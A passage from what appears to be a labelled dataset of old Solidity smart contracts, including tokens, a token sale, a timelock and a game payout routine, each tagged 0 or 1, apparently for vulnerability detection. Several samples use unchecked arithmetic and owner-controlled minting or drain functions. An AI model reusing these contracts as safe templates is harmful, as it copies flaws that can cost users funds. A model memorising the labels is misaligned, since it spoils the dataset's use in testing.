}
else if (msg.value >= price){
if (!ITM.reset){
require(msg.sender != ITM.owner);
}
if ((msg.value - price) > 0){
msg.sender.transfer(msg.value - price);
}
uint256 LEFT = DoDev(price);
uint256 prev_val = 0;
uint256 pot_val = LEFT;
if (!ITM.reset){
prev_val = (DIVP * LEFT) / 10000;
pot_val = (POTP * LEFT) / 10000;
}
Pot = Pot + pot_val;
ITM.owner.transfer(prev_val);
ITM.owner = msg.sender;
uint256 incr = PIncr;
ITM.CPrice = (price * (10000 + incr)) / 10000;
uint256 TimeLeft = TimeFinish - block.timestamp;
if (TimeLeft< TimerStartTime){
TimeFinish = block.timestamp + TimerStartTime;
}
if (ITM.reset){
ITM.reset=false;
}
PotOwner = msg.sender;
emit ItemBought(msg.sender, ITM.CPrice, Pot, TimeFinish, says, ID);
}
else{
revert();
}
}
function DoDev(uint256 val) internal returns (uint256){
uint256 tval = (val * DEVP / 10000);
uint256 hval = (tval * HVAL) / 10000;
uint256 dval = tval - hval;
owner.transfer(dval);
helper.transfer(hval);
return (val-tval);
}
} | 0 | 1,279 |
pragma solidity 0.4.19;
contract Token {
function totalSupply() constant returns (uint supply) {}
function balanceOf(address _owner) constant returns (uint balance) {}
function transfer(address _to, uint _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {}
function approve(address _spender, uint _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint remaining) {}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract RegularToken is Token {
function transfer(address _to, uint _value) returns (bool) {
if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint _value) returns (bool) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint) {
return allowed[_owner][_spender];
}
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
uint public totalSupply;
}
contract UnboundedRegularToken is RegularToken {
uint constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value)
public
returns (bool)
{
uint allowance = allowed[_from][msg.sender];
if (balances[_from] >= _value
&& allowance >= _value
&& balances[_to] + _value >= balances[_to]
) {
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
}
contract QBTCToken is UnboundedRegularToken {
uint public totalSupply = 1*10**26;
uint8 constant public decimals = 18;
string constant public name = "QBTC Token";
string constant public symbol = "QT";
function QBTCToken() {
balances[msg.sender] = totalSupply;
Transfer(address(0), msg.sender, totalSupply);
}
} | 1 | 3,785 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract EncryptedToken is owned, TokenERC20 {
uint256 INITIAL_SUPPLY = 863800000;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'KBO', 'KBO') payable public {
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
} | 1 | 4,314 |
pragma solidity ^0.4.17;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner returns (bool) {
require(newOwner != address(0));
require(newOwner != address(this));
require(newOwner != owner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
return true;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool){
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(0X0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract MooToken is MintableToken {
string public name = "MOO token";
string public symbol = "XMOO";
uint256 public decimals = 18;
event EmergencyERC20DrainWasCalled(address tokenaddress, uint256 _amount);
bool public tradingStarted = false;
modifier hasStartedTrading() {
require(tradingStarted);
_;
}
function startTrading() public onlyOwner returns(bool) {
require(!tradingStarted);
tradingStarted = true;
return true;
}
function transfer(address _to, uint _value) hasStartedTrading public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) hasStartedTrading public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function emergencyERC20Drain( ERC20 oddToken, uint amount ) public onlyOwner returns(bool){
oddToken.transfer(owner, amount);
EmergencyERC20DrainWasCalled(oddToken, amount);
return true;
}
function isOwner(address _owner) public view returns(bool){
if (owner == _owner) {
return true;
} else {
return false;
}
}
}
contract MooTokenSale is Ownable {
using SafeMath for uint256;
MooToken public token;
uint256 public decimals;
uint256 public oneCoin;
uint256 public PRESALE_STARTTIMESTAMP;
uint256 public PRESALE_ENDTIMESTAMP;
uint256 public PUBLICSALE_STARTTIMESTAMP;
uint256 public PUBLICSALE_ENDTIMESTAMP;
address public multiSig;
function setWallet(address _newWallet) public onlyOwner returns (bool) {
multiSig = _newWallet;
WalletUpdated(_newWallet);
return true;
}
uint256 rate;
uint256 public minContribution = 0.0001 ether;
uint256 public maxContribution = 1000 ether;
uint256 public tokensOfTeamAndAdvisors;
uint256 public weiRaised;
uint256 public tokenRaised;
uint256 public maxTokens;
uint256 public tokensForSale;
uint256 public numberOfContributors = 0;
address public cs;
address public Admin;
uint public basicRate;
uint public maxTokenCap;
bool public suspended;
mapping (address => bool) public authorised;
mapping (address => uint) adminCallMintToTeamCount;
event TokenPurchase(address indexed purchaser, uint256 amount, uint256 _tokens);
event TokenPlaced(address indexed beneficiary, uint256 _tokens);
event SaleClosed();
event TradingStarted();
event Closed();
event AdminUpdated(address newAdminAddress);
event CsUpdated(address newCSAddress);
event EmergencyERC20DrainWasCalled(address tokenaddress, uint256 _amount);
event AuthoriseStatusUpdated(address accounts, bool status);
event SaleResumed();
event SaleSuspended();
event WalletUpdated(address newwallet);
function MooTokenSale() public {
PRESALE_STARTTIMESTAMP = 1516896000;
PRESALE_ENDTIMESTAMP = 1522209600;
PUBLICSALE_STARTTIMESTAMP = 1522382400;
PUBLICSALE_ENDTIMESTAMP = 1525060800;
multiSig = 0x90420B8aef42F856a0AFB4FFBfaA57405FB190f3;
token = new MooToken();
decimals = token.decimals();
oneCoin = 10 ** decimals;
maxTokens = 500 * (10**6) * oneCoin;
tokensForSale = 200260050 * oneCoin;
basicRate = 1800;
rate = basicRate;
tokensOfTeamAndAdvisors = 99739950 * oneCoin;
maxTokenCap = basicRate * maxContribution * 11/10;
suspended = false;
}
function currentTime() public constant returns (uint256) {
return now;
}
function getCurrentRate() public view returns (uint256) {
if (currentTime() <= PRESALE_ENDTIMESTAMP) {
return basicRate * 5/4;
}
if (tokenRaised <= 10000000 * oneCoin) {
return basicRate * 11/10;
} else if (tokenRaised <= 20000000 * oneCoin) {
return basicRate * 1075/1000;
} else if (tokenRaised <= 30000000 * oneCoin) {
return basicRate * 105/100;
} else {
return basicRate ;
}
}
function hasEnded() public constant returns (bool) {
if (currentTime() > PUBLICSALE_ENDTIMESTAMP)
return true;
if (tokenRaised >= tokensForSale)
return true;
return false;
}
function suspend() external onlyAdmin returns(bool) {
if (suspended == true) {
return false;
}
suspended = true;
SaleSuspended();
return true;
}
function resume() external onlyAdmin returns(bool) {
if (suspended == false) {
return false;
}
suspended = false;
SaleResumed();
return true;
}
modifier onlyCSorAdmin() {
require((msg.sender == Admin) || (msg.sender==cs));
_;
}
modifier onlyAdmin() {
require(msg.sender == Admin);
_;
}
modifier onlyAuthorised() {
require (authorised[msg.sender]);
require ((currentTime() >= PRESALE_STARTTIMESTAMP && currentTime() <= PRESALE_ENDTIMESTAMP ) || (currentTime() >= PUBLICSALE_STARTTIMESTAMP && currentTime() <= PUBLICSALE_ENDTIMESTAMP ));
require (!(hasEnded()));
require (multiSig != 0x0);
require (msg.value > 1 finney);
require(!suspended);
require(tokensForSale > tokenRaised);
_;
}
function authoriseAccount(address whom) onlyCSorAdmin public returns(bool) {
require(whom != address(0));
require(whom != address(this));
authorised[whom] = true;
AuthoriseStatusUpdated(whom, true);
return true;
}
function authoriseManyAccounts(address[] many) onlyCSorAdmin public returns(bool) {
require(many.length > 0);
for (uint256 i = 0; i < many.length; i++) {
require(many[i] != address(0));
require(many[i] != address(this));
authorised[many[i]] = true;
AuthoriseStatusUpdated(many[i], true);
}
return true;
}
function blockAccount(address whom) onlyCSorAdmin public returns(bool){
require(whom != address(0));
require(whom != address(this));
authorised[whom] = false;
AuthoriseStatusUpdated(whom, false);
return true;
}
function setCS(address newCS) onlyOwner public returns (bool){
require(newCS != address(0));
require(newCS != address(this));
require(newCS != owner);
cs = newCS;
CsUpdated(newCS);
return true;
}
function setAdmin(address newAdmin) onlyOwner public returns (bool) {
require(newAdmin != address(0));
require(newAdmin != address(this));
require(newAdmin != owner);
Admin = newAdmin;
AdminUpdated(newAdmin);
return true;
}
function setBasicRate(uint newRate) onlyAdmin public returns (bool){
require(0 < newRate && newRate < 5000);
basicRate = newRate;
return true;
}
function setMaxTokenCap(uint _newMaxTokenCap) onlyAdmin public returns (bool){
require(0 < _newMaxTokenCap && _newMaxTokenCap < tokensForSale);
maxTokenCap = _newMaxTokenCap;
return true;
}
function isOwner(address _owner) public view returns(bool){
if (owner == _owner) {
return true;
} else {
return false;
}
}
function isAdmin(address _admin) public view returns(bool){
if (Admin == _admin) {
return true;
} else {
return false;
}
}
function isCS(address _cs) public view returns(bool){
if (cs == _cs) {
return true;
} else {
return false;
}
}
function placeTokens(address beneficiary, uint256 _tokens) onlyAdmin public returns(bool){
require(tokenRaised.add(_tokens) <= tokensForSale);
require(_tokens != 0);
require(!hasEnded());
if (token.balanceOf(beneficiary) == 0) {
numberOfContributors++;
}
tokenRaised = tokenRaised.add(_tokens);
token.mint(beneficiary, _tokens);
TokenPlaced(beneficiary, _tokens);
return true;
}
function buyTokens(address beneficiary, uint256 amount) onlyAuthorised internal returns (bool){
rate = getCurrentRate();
if (currentTime() <= PRESALE_ENDTIMESTAMP) {
minContribution = 50 ether;
maxContribution = 1000 ether;
} else {
minContribution = 0.2 ether;
maxContribution = 20 ether;
}
require(msg.value >= minContribution);
require(msg.value <= maxContribution);
uint256 tokens = amount.mul(rate);
require(tokenRaised.add(tokens) <= tokensForSale);
require(token.balanceOf(beneficiary) + tokens <= maxTokenCap);
weiRaised = weiRaised.add(amount);
if (token.balanceOf(beneficiary) == 0) {
numberOfContributors++;
}
tokenRaised = tokenRaised.add(tokens);
token.mint(beneficiary, tokens);
TokenPurchase(beneficiary, amount, tokens);
multiSig.transfer(this.balance);
return true;
}
function finishSale() public onlyOwner {
require(hasEnded());
uint unassigned;
if(tokensForSale > tokenRaised) {
unassigned = tokensForSale.sub(tokenRaised);
tokenRaised = tokenRaised.add(unassigned);
token.mint(multiSig,unassigned);
TokenPlaced(multiSig,unassigned);
}
SaleClosed();
token.startTrading();
TradingStarted();
}
function mintToTeamAndAdvisors() public onlyAdmin {
require(hasEnded());
require(adminCallMintToTeamCount[msg.sender] == 0);
require(1535644800 <= currentTime() && currentTime() <= 1535731200);
adminCallMintToTeamCount[msg.sender]++;
tokenRaised = tokenRaised.add(tokensOfTeamAndAdvisors);
token.mint(multiSig,tokensOfTeamAndAdvisors);
TokenPlaced(multiSig, tokensOfTeamAndAdvisors);
}
function afterSaleMinting(uint _tokens) public onlyAdmin {
require(hasEnded());
uint limit = maxTokens.sub(tokensOfTeamAndAdvisors);
require(tokenRaised.add(_tokens) <= limit);
tokenRaised = tokenRaised.add(_tokens);
token.mint(multiSig,_tokens);
TokenPlaced(multiSig, _tokens);
}
function close() public onlyOwner {
require(1535731200 <= currentTime());
uint unassigned;
if( maxTokens > tokenRaised) {
unassigned = maxTokens.sub(tokenRaised);
tokenRaised = tokenRaised.add(unassigned);
token.mint(multiSig,unassigned);
TokenPlaced(multiSig,unassigned);
multiSig.transfer(this.balance);
}
token.finishMinting();
token.transferOwnership(owner);
Closed();
}
function () public payable {
buyTokens(msg.sender, msg.value);
}
function emergencyERC20Drain( ERC20 oddToken, uint amount ) public onlyCSorAdmin returns(bool){
oddToken.transfer(owner, amount);
EmergencyERC20DrainWasCalled(oddToken, amount);
return true;
}
} | 1 | 2,308 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract IERC20{
function allowance(address owner, address spender) external view returns (uint);
function transferFrom(address from, address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function totalSupply() external view returns (uint);
function balanceOf(address who) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract ITimeMachine {
function getTimestamp_() internal view returns (uint);
}
contract TimeMachineP is ITimeMachine {
function getTimestamp_() internal view returns(uint) {
return block.timestamp;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract SafeERC20Timelock is ITimeMachine, Ownable {
using SafeMath for uint;
event Lock(address indexed _from, address indexed _for, uint indexed timestamp, uint value);
event Withdraw(address indexed _for, uint indexed timestamp, uint value);
mapping (address => mapping(uint => uint)) public balance;
IERC20 public token;
uint public totalBalance;
constructor (address _token) public {
token = IERC20(_token);
}
function contractBalance_() internal view returns(uint) {
return token.balanceOf(this);
}
function accept(address _for, uint _timestamp, uint _tvalue) public returns(bool){
require(_for != address(0));
require(_for != address(this));
require(_timestamp > getTimestamp_());
require(_tvalue > 0);
uint _contractBalance = contractBalance_();
uint _balance = balance[_for][_timestamp];
uint _totalBalance = totalBalance;
require(token.transferFrom(msg.sender, this, _tvalue));
uint _value = contractBalance_().sub(_contractBalance);
balance[_for][_timestamp] = _balance.add(_value);
totalBalance = _totalBalance.add(_value);
emit Lock(msg.sender, _for, _timestamp, _value);
return true;
}
function release_(address _for, uint[] _timestamp, uint[] _value) internal returns(bool) {
uint _len = _timestamp.length;
require(_len == _value.length);
uint _totalValue;
uint _curValue;
uint _curTimestamp;
uint _subValue;
uint _now = getTimestamp_();
for (uint i = 0; i < _len; i++){
_curTimestamp = _timestamp[i];
_curValue = balance[_for][_curTimestamp];
_subValue = _value[i];
require(_curValue >= _subValue);
require(_curTimestamp <= _now);
balance[_for][_curTimestamp] = _curValue.sub(_subValue);
_totalValue = _totalValue.add(_subValue);
emit Withdraw(_for, _curTimestamp, _subValue);
}
totalBalance = totalBalance.sub(_totalValue);
require(token.transfer(_for, _totalValue));
return true;
}
function release(uint[] _timestamp, uint[] _value) external returns(bool) {
return release_(msg.sender, _timestamp, _value);
}
function releaseForce(address _for, uint[] _timestamp, uint[] _value) onlyOwner external returns(bool) {
return release_(_for, _timestamp, _value);
}
function saveLockedERC20Tokens(address _token, address _to, uint _amount) onlyOwner external returns (bool) {
require(IERC20(_token).transfer(_to, _amount));
require(totalBalance <= contractBalance_());
return true;
}
function () public payable {
revert();
}
}
contract SafeERC20TimelockProd is TimeMachineP, SafeERC20Timelock {
constructor (address _token) public SafeERC20Timelock(_token) {
}
} | 1 | 3,765 |
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IBZx {
function underlyingToLoanPool(address underlying)
external
returns (address loanPool);
function swapsImpl()
external
returns (address);
function setupLoanParams(LoanParams[] calldata loanParamsList)
external
returns (bytes32[] memory loanParamsIdList);
function disableLoanParams(bytes32[] calldata loanParamsIdList) external;
function getLoanParams(bytes32[] calldata loanParamsIdList)
external
view
returns (LoanParams[] memory loanParamsList);
function getLoanParamsList(
address owner,
uint256 start,
uint256 count
) external view returns (bytes32[] memory loanParamsList);
function getTotalPrincipal(address lender, address loanToken)
external
view
returns (uint256);
function borrowOrTradeFromPool(
bytes32 loanParamsId,
bytes32 loanId,
bool isTorqueLoan,
uint256 initialMargin,
